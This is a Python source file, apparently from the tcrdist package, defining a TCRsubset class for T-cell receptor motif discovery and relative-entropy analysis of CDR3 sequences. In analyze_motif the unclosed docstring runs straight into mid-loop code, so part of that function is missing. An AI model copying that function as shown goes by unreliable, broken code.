default_mode : bool\n if True, automatic lookups of background set based on chain supplied\n set to False, for custom background sets.\n\n Notes \n -----\n This class access lots of legacy code where \n all chains are refered to as 'A' or 'B'. So \n we need to patch in gamma/delta information. \n\n There is TCRsubset.default_mode boolean argument. \n This will eventually be removed, but it preserves the expected behavior\n where next-gen sequence are automatically loaded for use as background \n using the path.py module. \n\n There is a attribute TCRsubset.gamma_delta_mode, triggered by chains argument.\n If it become true, different behaivor is triggered in method via the gdmode toggle.\n\n \"\"\"\n def __init__(self,\n clone_df,\n organism = None,\n epitopes = None,\n epitope = None,\n chains = None,\n nbr_dist = None,\n dist_a = None,\n dist_b = None,\n dist_g = None,\n dist_d = None,\n max_ng_lines = 5000000,\n default_mode = True):\n \n self.default_mode = default_mode \n\n # TCRsubest first must detect whether we are doing alpha/beta or gamma/delta\n if np.any([x in chains for x in [\"d\",\"D\",\"delta\",\"g\",\"G\", \"gamma\"]]):\n self.gamma_delta_mode = True\n self.db_file = \"gammadelta_db.tsv\"\n # if user supplied dist_g, set it to self.dist_a\n if dist_g is not None:\n self.dist_a = dist_g\n else:\n self.dist_a = dist_a\n # if user supplied dist_d, set it to self.dist_b\n if dist_d is not None:\n self.dist_b = dist_d\n else:\n self.dist_b = dist_b \n else:\n # Alpha/Beta Case\n self.gamma_delta_mode = False\n self.db_file = \"alphabeta_db.tsv\"\n self.dist_b = dist_b\n self.dist_a = dist_a\n\n self.all_genes = all_genes_db.all_genes_db(self.db_file)\n\n chain_recognition = \\\n {\"alpha\":\"A\", \"beta\":\"B\", \"gamma\":\"A\", \"delta\":\"B\", \n \"A\":\"A\",\"B\":\"B\",\"D\":\"B\",\"G\":\"A\",\n \"a\":\"A\",\"b\":\"B\",\"d\":\"B\",\"g\":\"A\"} \n # shared class resources for validation\n self.chain_to_dist = {\"A\": \"dist_a\",\n \"B\": \"dist_b\",\n \"G\": \"dist_a\",\n \"D\" :\"dist_b\"}\n \n \n # Initialize attributes from initial arguments\n self.epitopes = epitopes\n self.epitope = epitope\n self.clone_df = clone_df\n self.organism = organism\n self.chains = chains\n self.max_ng_lines = max_ng_lines \n\n # From this point all chain choices are converted to\n # all choices are converted to capital 'A' or 'B' \n # User's chain argument is converted\n self.chains = [chain_recognition[x] for x in chains] \n\n # KMB 2020-05-13: This is an unfortunate hack, but if only beta chain is provided, make a copy for the dist_a \n if self.chains == ['B'] and self.dist_a is None:\n self.dist_a = self.dist_b.copy()\n self._add_dummy_columns(missing_chain = 'A', gdmode = self.gamma_delta_mode )\n elif self.chains == ['A'] and self.dist_b is None:\n self.dist_b = dist_a.copy()\n self._add_dummy_columns(missing_chain = 'B', gdmode = self.gamma_delta_mode)\n else:\n self.dist_a = dist_a\n self.dist_b = dist_b\n \n self.nbr_dist = nbr_dist \n # apply defaults, when None are supplied at initiation\n if self.nbr_dist is None:\n self.nbr_dist = 100.0\n\n # placeholders for internally generated attributes\n self.all_tcrs = None\n self.ng_tcrs = None\n self.all_rep2label_rep = None\n self.all_rep2label_rep_color = None\n self.motif_df = None\n\n # Epitope Specific\n self.tcrs = None\n self.rep2label_rep = None\n self.rep2label_rep_color = None\n self.motifs = None\n\n # Motif Specific\n self.all_neighbors = None\n self.vl = None\n self.jl = None\n self.vl_nbr = None\n self.jl_nbr = None\n \n # Validation\n self._validate_chains()\n self._validate_organism()\n\n # Generation\n self._generate_tcrs(self.epitope, gdmode = self.gamma_delta_mode)\n self._generate_all_neighbors()\n \n # 2020-05-20 MAJOR CHANGE\n # self._generate_ng_tcrs() - replaced w/ the following:\n if self.default_mode is True:\n # Default Behavior - use of the paths.py file to automatically lookup the background set.\n # This is rigid and requires the user to have installed the packages correctly. I suggests we\n # depreciate this method as soon a possible.\n ng_tcrs = dict()\n for chain in self.chains: \n next_gen_ref = self.generate_background_set(chain = chain,\n ng_log_path = paths.path_to_current_db_files(db_file = self.db_file),\n ng_log_file = 'new_nextgen_chains_{}_{}.tsv'.format(self.organism, chain) )\n ng_tcrs[chain] = next_gen_ref\n self.ng_tcrs = ng_tcrs\n else:\n self.ng_tcrs = dict()\n\n if self.default_mode is False:\n # DESCRIBE WHAT TO DO IN THE EVENT THAT default_mode is set to FALSE\n warnings.warn(\"\\nTCRSubset(default_mode = False) WAS INTITIALIZED IN NON-DEFAULT MODE\\n\"\\\n \"THIS IS ALLOWS THE USER TO PROVIDE THEIR OWN NEXT-GENERATION SEQUENCES AS A BACKGROUND SET\\n\"\\\n \"THESE FILES MUCH MATCH FORMAT (SEE: tcrdist/db/alphabeta_db.tsv_files/new_nextgen_chains_human_A.tsv)\\n\"\\\n \"v_reps j_reps cdr3 cdr3_nucseq\\n\"\\\n \"TRAV1-2*01 TRAJ33*01 CAVRDSNYQLIW tgtgctgtgagggatagcaactatcagttaatctgg\\n\"\\\n \"TRAV2*01 TRAJ9*01 CAVEDLDTGGFKTIF tgtgctgtggaggatctggatactggaggcttcaaaactatcttt\\n\"\\\n \"TRAV1-2*01 TRAJ33*01 CAASDSNYQLIW tgtgctgcgtcggatagcaactatcagttaatctgg\\n\"\\\n \"ts = TCRsubset(default_mode = False)\"\\\n \"ts.ng_tcrs = dict()\\n\"\\\n \"ts.ng_tcrs['B'] = ts.generate_background_set(chain = ['B'], ng_log_path = YOUR_PATH, ng_log_file = YOUR_NEXTGEN_FILE)\\n\"\\\n \"ts.ng_tcrs['A'] = ts.generate_background_set(chain = ['A'], ng_log_path = YOUR_PATH, ng_log_file = YOUR_NEXTGEN_FILE)\\n\"\\\n \"FOR EXAMPLE:\\n\"\\\n \"ts.ng_tcrs['B'] = ts.generate_background_set(chain = ['B'],\"\\\n \"ng_log_path = 'tcrdist/db/gammadelta_db.tsv_files',\"\\\n \"ng_log_file = 'new_nextgen_chains_human_B.tsv')\\n\" \\\n \"ts.ng_tcrs['A'] = ts.generate_background_set(chain = ['A'],\"\\\n \"ng_log_path = 'tcrdist/db/gammadelta_db.tsv_files',\"\\\n \"ng_log_file = 'new_nextgen_chains_human_A.tsv')\\n\" )\n \n # Validation\n #self._validate_all_dists_and_tcrs_match() # need to confirm that this is doing somethings\n \n def _add_dummy_columns(self, missing_chain = 'A', gdmode = False):\n \"\"\"\n It was to difficult to refactor code completely for single chain so we instead just make \n dummy values for the missing chain.\n \n Parameters\n ----------\n missing_chain : str\n 'A' or 'B' \n gdmode : bool\n if True, G and D genes are used to populate dummy columns of the clone_df\n \"\"\"\n \n if gdmode == True:\n # GAMMA/DELTA DUMMIES (TODO: betterPUT IN MORE REP a and nucseq representative)\n if missing_chain == 'A': # in gdmode gammma --> A \n self.clone_df = self.clone_df.assign(va_gene = \"TRGV1*01\") # gene is is both human and mouse\n self.clone_df = self.clone_df.assign(ja_gene = \"TRGJ1*01\") # gene is is both human and mouse\n self.clone_df = self.clone_df.assign(va_countreps=\"TRGV1*01\")\n self.clone_df = self.clone_df.assign(ja_countreps=\"TRGJ1*01\")\n self.clone_df = self.clone_df.assign(v_g_gene=\"TRGV1*01\")\n self.clone_df = self.clone_df.assign(j_g_gene=\"TRGJ1*01\")\n self.clone_df = self.clone_df.assign(cdr3_g_aa=\"CATWAKNYYKKLF\")\n self.clone_df = self.clone_df.assign(cdr3_g_nucseq=\"TGTGCCACCTGGGCTAAGAATTATTATAAGAAACTCTTT\")\n elif missing_chain == 'B': # in gdmode delta --> B \n self.clone_df = self.clone_df.assign(vb_gene = \"TRDV1*01\") # gene is is both human and mouse\n self.clone_df = self.clone_df.assign(jb_gene = \"TRDJ1*01\") # gene is is both human and mouse\n self.clone_df = self.clone_df.assign(vb_countreps = \"TRDV1*01\")\n self.clone_df = self.clone_df.assign(jb_countreps = \"TRDJ1*01\")\n self.clone_df = self.clone_df.assign(v_d_gene=\"TRDV1*01\")\n self.clone_df = self.clone_df.assign(j_d_gene=\"TRDJ1*01\")\n self.clone_df = self.clone_df.assign(cdr3_d_aa=\"CASSEGEAPLF\")\n self.clone_df = self.clone_df.assign(cdr3_d_nucseq=\"tgtgctagctccgagggggaggctccgcttttt\")\n # ALPHA/BETA DUMMIES\n else:\n if missing_chain == 'A':\n self.clone_df = self.clone_df.assign(va_gene = \"TRAV10*01\") # gene is is both human and mouse\n self.clone_df = self.clone_df.assign(ja_gene = \"TRAJ11*01\") # gene is is both human and mouse\n self.clone_df = self.clone_df.assign(va_countreps=\"TRAV10*01\")\n self.clone_df = self.clone_df.assign(ja_countreps=\"TRAJ11*01\")\n self.clone_df = self.clone_df.assign(v_a_gene=\"TRAV10*01\")\n self.clone_df = self.clone_df.assign(j_a_gene=\"TRAJ11*01\")\n self.clone_df = self.clone_df.assign(cdr3_a_aa=\"CALGSGGNYKPTF\")\n self.clone_df = self.clone_df.assign(cdr3_a_nucseq=\"tgtgctctgggttcaggaggaaactacaaacctacgttt\")\n elif missing_chain == 'B':\n self.clone_df = self.clone_df.assign(vb_gene = \"TRBV1*01\") # gene is is both human and mouse\n self.clone_df = self.clone_df.assign(jb_gene = \"TRBJ1-1*01\") # gene is is both human and mouse\n self.clone_df = self.clone_df.assign(vb_countreps = \"TRBV1*01\")\n self.clone_df = self.clone_df.assign(jb_countreps = \"TRBJ1-1*01\")\n self.clone_df = self.clone_df.assign(v_b_gene=\"TRBV1*01\")\n self.clone_df = self.clone_df.assign(j_b_gene=\"TRBJ1-1*01\")\n self.clone_df = self.clone_df.assign(cdr3_b_aa=\"CASSEGEAPLF\")\n self.clone_df = self.clone_df.assign(cdr3_b_nucseq=\"tgtgctagctccgagggggaggctccgcttttt\")\n else:\n raise ValueError(\"'missing_chain' arg must be 'A','B'\") \n \n\n def tcr_motif_clones_df(self, gdmode = False):\n \"\"\"\n Use this function to create a clones_df input appropriate to TCRMotif.\n\n It make use of a mapper to ensure proper columns and column names\n\n Example\n -------\n TCRMotif(clones_df = TCRSubset.tcr_motif_clones_df())\n \"\"\"\n if gdmode == True:\n return mappers.generic_pandas_mapper(self.clone_df,\n mappers.TCRsubset_clone_df_to_TCRMotif_clone_df_gd_red, allow_missing = True)\n else:\n return mappers.generic_pandas_mapper(self.clone_df,\n mappers.TCRsubset_clone_df_to_TCRMotif_clone_df, allow_missing = True)\n \n\n\n def find_motif(self):\n \"\"\"\n Create a TCRMotif_instance using subset organism, chains, and epitopes.\n runs TCRMotif.find_cdr3_motifs. Warning this can take 5-10 minutes per chain.\n\n Returns\n -------\n motif_df : DataFrame\n \"\"\"\n if self.default_mode:\n TCRMotif_instance = TCRMotif( clones_df = self.tcr_motif_clones_df(gdmode = self.gamma_delta_mode),\n organism = self.organism,\n chains = self.chains,\n epitopes = self.epitopes,\n db_file = self.db_file, default_mode = True)#\"gammadelta_db.tsv\")\n \n #print(TCRMotif_instance.clones_df)\n warnings.warn(\"SEARCHING FOR MOTIFS, THIS CAN TAKE 5-10 minutes\")\n TCRMotif_instance.find_cdr3_motifs()\n motif_df = TCRMotif_instance.motif_df.copy()\n self.motif_df = motif_df\n return motif_df\n \n else:\n TCRMotif_instance = TCRMotif( clones_df = self.tcr_motif_clones_df(gdmode = self.gamma_delta_mode),\n organism = self.organism,\n chains = self.chains,\n epitopes = self.epitopes,\n db_file = self.db_file, \n default_mode = False)\n warnings.warn(\"PASSING TCRsubset.ng_tcrs to TCRMotif.ng_tcrs\") \n TCRMotif_instance.ng_tcrs = self.ng_tcrs\n for chain in self.chains:\n ks = \",\".join(list(self.ng_tcrs[chain].keys()))\n warnings.warn(f'\\nLoading CUSTOM Next-Gen Background chain {chain} Examples with .ng_tcrs: {ks}\\n\\n')\n warnings.warn(\"SEARCHING FOR MOTIFS, THIS CAN TAKE 5-10 minutes\")\n TCRMotif_instance.find_cdr3_motifs()\n motif_df = TCRMotif_instance.motif_df.copy()\n self.motif_df = motif_df\n return motif_df\n \n\n\n def loop_through_motifs(self):\n \"\"\"\n NOT READY BUT WILL USE TO LOOP THROUGH\n \"\"\"\n if motif_df is None:\n motif_df = self.motif_df\n if motif_df is None:\n raise ValueError(\"TCRsubest.motif_df DataFrame is empty. Load one or try TCRsubest.motif_df.find_motif()\")\n pass\n svg_list = []\n for i,row in motif_df.iterrows():\n StoreIOMotif_instance = StoreIOMotif(**row)\n self.analyze_motif(s = StoreIOMotif_instance)\n self.analyze_matches(s = StoreIOMotif_instance)\n svg = plot_pwm(StoreIOMotif_instance, create_file = False, my_height = 200, my_width = 600)\n svg_list.append(svg)\n return svg_list\n\n def eval_motif(self, row):\n \"\"\"\n eval motif wraps functions for evaluating a row of the motif_df DataFrame\n\n row : OrderedDict\n from a row of motif_df\n i = 0; row = tm.motif_df.iloc[i,:].to_dict()\n\n Returns\n -------\n StoreIOMotif_instance : StoreIOMotif\n\n Raises\n ------\n TypeError\n if row variables cannot be coerced to correct types\n (see: StoreIOMotif_instance._coerce_attrs() )\n\n Notes\n -----\n The steps shown above are:\n\n 1. Initialize instance of the information carrier class StoreIOMotif\n 2. Analyze_motif (ts.analyze_motif) to determine matches and neighbors\n of matches, with new attributes are appended to the StoreIOMotifinstance.\n 3. Analyze matches (ts.analyze_matches) to identify the the relative\n entropy between position wise matrices\n \"\"\"\n # 1\n StoreIOMotif_instance = StoreIOMotif(**row)\n StoreIOMotif_instance._coerce_attrs()\n assert StoreIOMotif_instance._validate_attrs()\n # 2\n self.analyze_motif(s = StoreIOMotif_instance)\n # 3\n self.analyze_matches(s = StoreIOMotif_instance)\n return StoreIOMotif_instance\n\n\n def _load_motifs_from_file(self):\n #motif_fn = 'mouse_pairseqs_v1_parsed_seqs_probs_mq20_clones_cdr3_motifs_PA.log'\n #motif_fh =open(motif_fn, 'r')\n pass\n\n\n def _load_motifs_from_dataframe(self):\n pass\n\n\n def analyze_motif(self, s, tcrs = None, all_neighbors = None):\n \"\"\"\n Parameters\n ----------\n s : tcrdist.storage.StoreIOMotif\n StoreIOMotif instance\n tcrs : dict\n if omitted, default is to self.tcrs\n all_neighbors : dict\n if omitted, default is to self.all_neighbors\n Returns\n -------\n s : tcrdist.storage.StoreIOMotif\n StoreIOMotif instance with new attributes added\n Notes\n -----\n The primary function of this script is to add the following attributes\n to a StoreIOMotif instance:\n s.showmotif\n s.vl_nbr\n s.jl_nbr\n s.vl\n s.jl\n s.matches - tcrs that perfectly match regex\n s.nbr_matches - tcr hat perfectly match regex + neigbors\n (tcrdist are all epitope-specific tcrs, we search them all\n for ii, tcr in enumerate( tcrs ):\n # select the cdr3 (e.g., CAMRGNSGGSNYKLTF) and cdr3_nucseq_src ('V', 'V', ..., 'J, 'J')\n # TODO : GENERALIZE THIS SO THAT IT DOES NOT SEARCH FOR \"A\"\n if ab in [\"A\",\"G\"]:\n cdr3,cdr3_nucseq_src = tcr[4], tcr[10]\n else:\n cdr3,cdr3_nucseq_src = tcr[5], tcr[11]\n\n # search for the motif re in each cdr3\n m = prog.search(cdr3)\n # if found\n if m:\n # < mseq : str > portion of the cdr3 amino acid that matches regex pattern\n mseq = cdr3[ m.start():m.end() ]\n # < nseq : str > source (V, N, or J ) of the cdr3 nucleotide that matches the regex pattern\n nseq_src = cdr3_nucseq_src[ 3*m.start():3*m.end() ]\n # < positions : range >\n positions = range(m.start(),m.end())\n # < rpositions > reverse position relative to the cdr3 end\n rpositions = [len(cdr3)-1-x for x in positions]\n # < matches : list > outside the loop contains mseq,nseq,positions,rpositions\n matches.append( (mseq,nseq_src,positions,rpositions) )\n # < matched_tcrs: list > outside the loop contains the index number of the matching tcr\n matched_tcrs.append( ii )\n\n # < all_neighbors > in same order as tcrs\n for nbr in all_neighbors[ab][ii]:\n if nbr not in matched_tcrs_plus_nbrs:\n # < nbr_tcr > neighbor to a perfect match pulled from < tcr >\n nbr_tcr = tcrs[nbr]\n if ab in ['A',\"G\"]:\n nbr_cdr3, nbr_cdr3_nucseq_src = nbr_tcr[4], nbr_tcr[10]\n else:\n nbr_cdr3, nbr_cdr3_nucseq_src = nbr_tcr[5], nbr_tcr[11]\n # !! only if nbr and principal cdr3 are same length will they be included\n if len(nbr_cdr3) == len(cdr3):\n matched_tcrs_plus_nbrs.append( nbr )\n nbr_mseq = nbr_cdr3[ m.start():m.end() ]\n nbr_nseq = nbr_cdr3_nucseq_src[ 3*m.start():3*m.end() ]\n nbr_matches.append( (nbr_mseq,nbr_nseq,positions,rpositions) )\n\n\n total += 1\n\n vl_nbr, jl_nbr = self._get_counts_lists_from_tcr_indices(matched_tcrs_plus_nbrs, ab)\n vl, jl = self._get_counts_lists_from_tcr_indices(matched_tcrs, ab)\n\n # send outputs back to input object IO\n s.showmotif = showmotif # now returned as a list\n s.vl_nbr = vl_nbr\n s.jl_nbr = jl_nbr\n s.vl = vl\n s.jl = jl\n s.matches = matches\n s.nbr_matches = nbr_matches\n s.matched_tcrs_plus_nbrs = matched_tcrs_plus_nbrs\n s.matched_tcrs = matched_tcrs\n return(s)\n\n\n def analyze_matches(self, s):\n \"\"\"\n Parameters\n ----------\n s : StorageIOMotif\n a StorageIOMotif without entropy information\n\n Returns\n -------\n s : StorageIOMotif\n Updated StorageIOMotif instance w/ entropy attribute\n which points to a StorageIOEntropy instance\n \"\"\"\n StorageIOEntropy_instance = self._analyze_matches_using_ngseqs(\n matches = s.nbr_matches ,\n matched_tcrs = s.matched_tcrs_plus_nbrs,\n ab = s.ab,\n epitope = s.ep,\n showmotif = s.showmotif,\n tcrs = self.tcrs,\n ng_tcrs = self.ng_tcrs,\n num_nextgen_samples = 100,\n junction_bars = True,\n junction_bars_order = {'B': ['V','N1','D',\n 'N2','J'],\n 'A': ['V','N','J'] },\n min_prob_for_relent_for_scaling = 1e-3,\n max_column_relent_for_scaling = 3.0)\n # Add storage_io_entropy_instance to storage_io_motif_instance\n s.entropy = StorageIOEntropy_instance\n return(s)\n\n\n def _generate_all_tcrs(self, gdmode = False):\n \"\"\"\n generates self.all_tcrs attribute\n\n Parameters\n ----------\n epitope : str\n\n See extensive documentation associated with:\n rmf._generate_tcrs_dict_from_clones_dataframe()\n\n \"\"\"\n if gdmode == True:\n clone_df = mappers.generic_pandas_mapper(self.clone_df, mappers.tcrdist2_to_tcrdist_clone_df_mapping_gd, allow_missing=True)\n else:\n clone_df = mappers.generic_pandas_mapper(self.clone_df, mappers.tcrdist2_to_tcrdist_clone_df_mapping, allow_missing=True)\n\n\n # implement backwards mapping to names recognized by tcrdist motif routine\n \n\n # if \"A\" in self.chains and \"B\" in self.chains:\n # clone_df = mappers.generic_pandas_mapper(self.clone_df, mappers.tcrdist2_to_tcrdist_clone_df_mapping)\n\n # if \"A\" in self.chains and \"B\" not in self.chains:\n # clone_df = mappers.generic_pandas_mapper(self.clone_df, mappers.tcrdist2_to_tcrdist_clone_df_mapping_a)\n \n # if \"B\" in self.chains and \"A\" not in self.chains:\n # clone_df = mappers.generic_pandas_mapper(self.clone_df, mappers.tcrdist2_to_tcrdist_clone_df_mapping_b)\n\n # if \"G\" in self.chains and \"D\" in self.chains:\n # clone_df = mappers.generic_pandas_mapper(self.clone_df, mappers.tcrdist2_to_tcrdist_clone_df_mapping_gd)\n\n # if \"G\" in self.chains and \"D\" not in self.chains:\n # clone_df = mappers.generic_pandas_mapper(self.clone_df, mappers.tcrdist2_to_tcrdist_clone_df_mapping_g)\n # if \"D\" in self.chains and \"G\" not in self.chains:\n # clone_df = mappers.generic_pandas_mapper(self.clone_df, mappers.tcrdist2_to_tcrdist_clone_df_mapping_d)\n\n # *_ dumps the 2nd and 3rd parts of the tuple,\n all_tcrs, all_rep2label_rep, all_rep2label_rep_color =\\\n rmf._generate_tcrs_dict_from_clones_dataframe(clone_df,\n epitopes = self.epitopes,\n organism = self.organism,\n return_as_tuple = True,\n all_genes = self.all_genes )\n self.all_tcrs = all_tcrs\n self.all_rep2label_rep = all_rep2label_rep\n self.all_rep2label_rep_color = all_rep2label_rep_color\n\n return all_tcrs\n\n def _generate_tcrs(self, epitope, gdmode = False):\n \"\"\"\n generates self.tcrs attribute\n\n Parameters\n ----------\n epitope : str\n\n See extensive documentation associated with:\n rmf._generate_tcrs_dict_from_clones_dataframe()\n\n \"\"\"\n\n tcrs = self._generate_all_tcrs(gdmode = gdmode)[epitope]\n\n self.tcrs = tcrs\n # these were stored_when running _generate_all_tcrs\n self.rep2label_rep = self.all_rep2label_rep[epitope]\n self.rep2label_rep_color = self.all_rep2label_rep_color[epitope]\n\n return tcrs\n\n def _generate_all_neighbors(self, nbr_dist = None):\n \"\"\"\n generates self.all_neighbors attribute, using rmf.generate_all_nbr_from_dataframe\n\n Returns\n -------\n all_neighbors : dict\n dictionary keyed on chain (e.g., 'A', 'B'),\n containing list of lists for each position i in the list,\n the ith list contains the index position of the tcrs\n within (nbr_dist) distance from the ith tcr\n\n Assigns\n -------\n self.all_neighbors\n dictionary keyed on chain (e.g., 'A', 'B'),\n containing list of lists for each position i in the list,\n the ith list contains the index position of the tcrs\n within (nbr_dist) distance from the ith tcr\n\n Raises\n ------\n OSError if a required dist_x is not loaded in self\n\n AssertionError if length of all_nbr does not equal the\n row or column dimension of distance matrix.\n\n Notes\n -----\n rmf module refers to read_motif functions, re-factored from tcrdist1\n\n \"\"\"\n if nbr_dist is None:\n nbr_dist = self.nbr_dist\n\n all_neighbors = {chain: None for chain in self.chains}\n\n for chain in self.chains:\n\n # converts chain letter 'X' to 'dist_x'\n dist_name = self.chain_to_dist[chain]\n\n # gets distance matrix matching chain\n if getattr(self, dist_name) is not None:\n dist_df = getattr(self, dist_name)\n else:\n raise OSError(\"{} not loaded\".format(dist_name))\n\n # produces list of lists [[],[],...], length must equal dimensions of dist_df\n all_nbr = rmf.generate_all_nbr_from_dataframe(dist_df = dist_df, nbr_distance = nbr_dist)\n\n assert len(all_nbr) == dist_df.shape[0]\n assert len(all_nbr) == dist_df.shape[1]\n\n all_neighbors[chain] = all_nbr\n\n self.all_neighbors = all_neighbors\n return all_neighbors\n \n # def _generate_custom_ng_tcrs(self, path, db_file):\n # self.ng_tcrs = rmf._generate_read_motif_ng_tcrs_dict(chains = self.chains, organism = self.organism)\n \n def _generate_ng_tcrs(self):\n warnings.warn(f\"GENERATING READ MOTIF NG TCRS DICT WITH {self.db_file}\\n\")\n warnings.warn(f\"USING SELF.ALL_GENES\\n\")\n self.ng_tcrs = rmf._generate_read_motif_ng_tcrs_dict(chains = self.chains, organism = self.organism, db_file = self.db_file, all_genes = self.all_genes)\n\n def _validate_chains(self):\n \"\"\"\n Check that chains are a valid selection\n \"\"\"\n valid_chains = [\"A\",\"B\",\"G\",\"D\"]\n for chain in self.chains:\n if chain not in valid_chains:\n raise ValueError('chains must be one of [\"A\",\"B\",\"G\",\"D\"]')\n\n def _validate_organism(self):\n \"\"\"\n check that organism is valid string\n \"\"\"\n valid_organisms = [\"mouse\", \"human\"]\n if self.organism not in valid_organisms:\n raise ValueError('organism must be one of [\"mouse\", \"human\"]')\n\n def _validate_all_dists_and_tcrs_match(self):\n \"\"\"\n Checks that all chains in self.chains\n that the order of the distance matrices and\n tcrs list attribute match perfectly\n \"\"\"\n\n for chain in self.chains:\n d = self.chain_to_dist[chain]\n self._validate_dist_and_tcrs_match(d)\n\n def _validate_dist_and_tcrs_match(self, dist):\n \"\"\"\n Checks for a given chain distance DataFrame\n that the order of the distance matrix and\n tcrs list attribute match perfectly\n \"\"\"\n if getattr(self, dist) is not None:\n x = getattr(self, dist)\n else:\n raise OSError(\"{} not loaded\".format(dist))\n if not isinstance(x, pd.DataFrame):\n raise TypeError(\"distances must be DataFrames in TCRsubset\")\n\n dist_order_row = x.index\n dist_order_col = x.columns\n\n tcrs_order = [x[-1]['clone_id'] for x in self.tcrs]\n\n if not np.all(dist_order_row == dist_order_col ):\n raise ValueError(\"index and columns must match for {}\".format(dist))\n if not np.all(dist_order_row == tcrs_order ):\n raise ValueError(\"dist order and tcrs order must match\")\n\n def _analyze_matches_using_ngseqs(self,\n matches,\n matched_tcrs,\n ab,\n epitope,\n showmotif,\n tcrs,\n ng_tcrs,\n num_nextgen_samples = 100,\n junction_bars = True,\n junction_bars_order = { 'B': ['V','N1','D','N2','J'], 'A': ['V','N','J'] },\n min_prob_for_relent_for_scaling = 1e-3,\n max_column_relent_for_scaling = 3.0):\n \"\"\"\n Analyzes the motif matching sequences and compares them to reference nextgen\n sequences to discover (relative entropy) how the positive wise frequency\n distribtion of the motif is different from a reference probability\n distribution comprised of CDR3s from the same VJ-gene usage.\n\n Refer Questions about the Algorithm to Phil Bradley.\n\n Parameters\n ----------\n matches : list\n list containing motif matches [((mseq,nseq_src,positions,rpositions)), ]\n mseq : e.g., CALGGGSN\n nseq_src : e.g.,['V', 'V', 'V', 'V', ..., 'N', 'N', 'N', 'N', 'N', 'J', 'J', 'J', 'J', 'J', 'J']\n positions : range(0, 8),\n rpositions : [12, 11, 10, 9, 8, 7, 6, 5]\n matched_tcrs : list\n list [16, 49, 92, 112,...] index of those tcrs\n ab : str\n indicates chain\n epitope : str\n\n showmotif : list\n\n tcrs : list\n list of tcr information\n ng_tcrs : dict\n dict of form {chain:{v:{j:[]}}}\n num_nextgen_samples\n\n junction_bars : bool\n\n min_prob_for_relent_for_scaling : float\n\n max_column_relent_for_scaling : float\n\n Returns\n -------\n [dict, dict, dict, dict, dict, dict, dict, dict, list, list, int, int]\n pwm : dict\n npwm : dict\n ng_lenpwm : dict\n ng_fwdpwm : dict,\n ng_revpwm : dict\n fwdpwm : dict\n revpwm : dict\n scale_by_relent : dict\n ng_fwdseq_reps, : list\n ng_lenseq_reps : list\n len( ng_lenseqs ) : int\n len( ng_fwdseqs ) : int\n\n Notes\n -----\n\n TODO: Finish a complete explanation of what the heck is going on here\n\n 1. given a motif - ^.ALGaGaN (read in from from the motif_file)\n\n 2. a regex motif - ^[A-Z]ALG[AGSP]G[AGSP]N is generated to be permissive in lowercase position)\n\n 3. < matches > contains information on those tcrs that were recognized by the regex motif\n\n 4. < matched tcrs > contains index position of the those matches\n \"\"\"\n ng_lenseqs = []\n ng_fwdseqs = []\n ng_revseqs = []\n\n ng_fwdseq_reps = []\n ng_lenseq_reps = []\n matched_reps = []\n\n seen = set() ## no repeats of ngseqs\n seen_samelen = set() ## no repeats of ngseqs\n\n for (mseq,nseq,positions,rpositions),ii in zip( matches, matched_tcrs ):\n tcr = tcrs[ii]\n if ab == 'A':\n my_cdr3,vrep,jrep = tcr[4:5]+tcr[6: 8]\n else:\n my_cdr3,vrep,jrep = tcr[5:6]+tcr[8:10]\n matched_reps.append( ( vrep, jrep ) )\n\n mylen = len(my_cdr3)\n if vrep in ng_tcrs[ab] and jrep in ng_tcrs[ab][vrep]:\n ngl = [ x for x in ng_tcrs[ab][vrep][jrep] if x not in seen ]\n if not ngl:\n pass\n #print('empty ngl!')\n\n for ngseq in random.sample( ngl, min(num_nextgen_samples,len(ngl)) ):\n seen.add(ngseq)\n (cdr3,cdr3_nucseq) = ngseq\n L = len(cdr3)\n fseq = ''\n rseq = ''\n for pos in positions:\n if pos>=L:\n fseq += '-'\n else:\n fseq += cdr3[pos]\n for pos in rpositions:\n if pos>=L:\n rseq += '-'\n else:\n rseq += cdr3[L-1-pos]\n ng_fwdseqs.append(fseq)\n ng_revseqs.append(rseq)\n ng_fwdseq_reps.append( ( vrep, jrep ) )\n\n ## cdr3s with the same length\n ngl_samelen = [ x for x in ng_tcrs[ab][vrep][jrep] if len(x[0]) == mylen and x not in seen_samelen ]\n if not ngl_samelen:\n pass\n #print('empty ngl_samelen!')\n for ngseq in random.sample( ngl_samelen, min(num_nextgen_samples,len(ngl_samelen))):\n seen_samelen.add( ngseq )\n cdr3 = ngseq[0]\n ng_lenseqs.append( ''.join( [ cdr3[x] for x in positions ] ) )\n ng_lenseq_reps.append( ( vrep, jrep ) )\n\n pwm = logo_tools.create_protein_pwm_from_sequences( [x[0] for x in matches ])\n\n npwm_alphabet = junction_bars_order[ab] if junction_bars else ['V','N','D','J']\n npwm = logo_tools.create_pwm_from_sequences( [x[1] for x in matches ], npwm_alphabet )\n\n #nbr_pwm = logo_tools.create_protein_pwm_from_sequences( [x[0] for x in nbr_matches ])\n #nbr_npwm = logo_tools.create_pwm_from_sequences( [x[1] for x in nbr_matches ], ['V','D','J','N'] )\n\n if ng_lenseqs:\n ng_lenpwm = self.create_wtd_pwm_from_sequences( ng_lenseqs, amino_acids.amino_acids+['-'], matched_reps, ng_lenseq_reps )\n else:\n ng_lenpwm = 0\n\n ng_fwdpwm = self.create_wtd_pwm_from_sequences( ng_fwdseqs, amino_acids.amino_acids+['-'], matched_reps, ng_fwdseq_reps )\n ng_revpwm = self.create_wtd_pwm_from_sequences( ng_revseqs, amino_acids.amino_acids+['-'], matched_reps, ng_fwdseq_reps )\n\n N = len(pwm)\n fwdpwm = {}\n revpwm = {}\n for i in range(N):\n fwdpwm[i] = {}\n revpwm[i] = {}\n incrememnt = 1.0/len(matches)\n for pos in [x[2][i] for x in matches]:\n fwdpwm[i]['pos'] = fwdpwm[i].get('pos',0)+incrememnt\n for pos in [x[3][i] for x in matches]:\n revpwm[i]['pos'] = revpwm[i].get('pos',0)+incrememnt\n\n ## look at relative entropies between nbrpwm and the fwd and rev pwms\n ## not nbr anymore since this is a subroutine\n ##\n scale_by_relent = {}\n for i in range(N):\n relents=[]\n for control_pwm in [ ng_fwdpwm[i], ng_revpwm[i] ]:\n relent = 0.0\n for a,pa in pwm[i].items():\n if pa>= min_prob_for_relent_for_scaling:\n qa = max(min_prob_for_relent_for_scaling, control_pwm.get(a,min_prob_for_relent_for_scaling))\n paqa = np.log2(pa/qa)\n relent += pa * paqa\n relents.append( relent )\n scale_by_relent[i] = max(0.,min(1., min(relents)/max_column_relent_for_scaling) )\n print('RE {:2d} {:5.2f} {:5.2f} {:5.2f} {} {} {}'.format( i, min(relents), relents[0], relents[1], ab, epitope, ''.join(showmotif) ))\n\n result_analyze_matches = (pwm, npwm, 